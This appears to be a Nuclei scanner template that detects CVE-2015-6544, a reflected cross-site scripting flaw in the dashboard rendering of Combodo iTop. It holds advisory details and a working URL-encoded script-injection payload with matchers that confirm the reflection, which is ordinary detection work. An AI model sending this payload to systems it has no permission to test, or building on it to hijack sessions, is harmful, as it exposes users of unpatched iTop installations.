id: CVE-2015-6544

info:
  name: Combodo iTop <2.2.0-2459 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Combodo iTop before 2.2.0-2459 contains a cross-site scripting vulnerability in application/dashboard.class.inc.php which allows remote attackers to inject arbitrary web script or HTML via a dashboard title.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of Combodo iTop that is equal to or greater than 2.2.0-2459 to mitigate this vulnerability.
  reference:
    - https://www.htbridge.com/advisory/HTB23268
    - http://sourceforge.net/p/itop/tickets/1114/
    - http://sourceforge.net/p/itop/code/3662/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6544
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-6544
    cwe-id: CWE-79
    epss-score: 0.05562
    epss-percentile: 0.91852
    cpe: cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: combodo
    product: itop
  tags: cve2015,cve,xss,itop,combodo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/ajax.render.php?operation=render_dashboard&dashboard_id=1&layout_class=DashboardLayoutOneCol&title=%%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a7454f47dd23cb50439317b0de58ab110f50e9149808f6ca994ea58ccace4f37022100f59359a313483a8c36bbca05503a8d6e15383694c3838e12abaee98f81a2064f:922c64590222798bb761d5b6d8e72950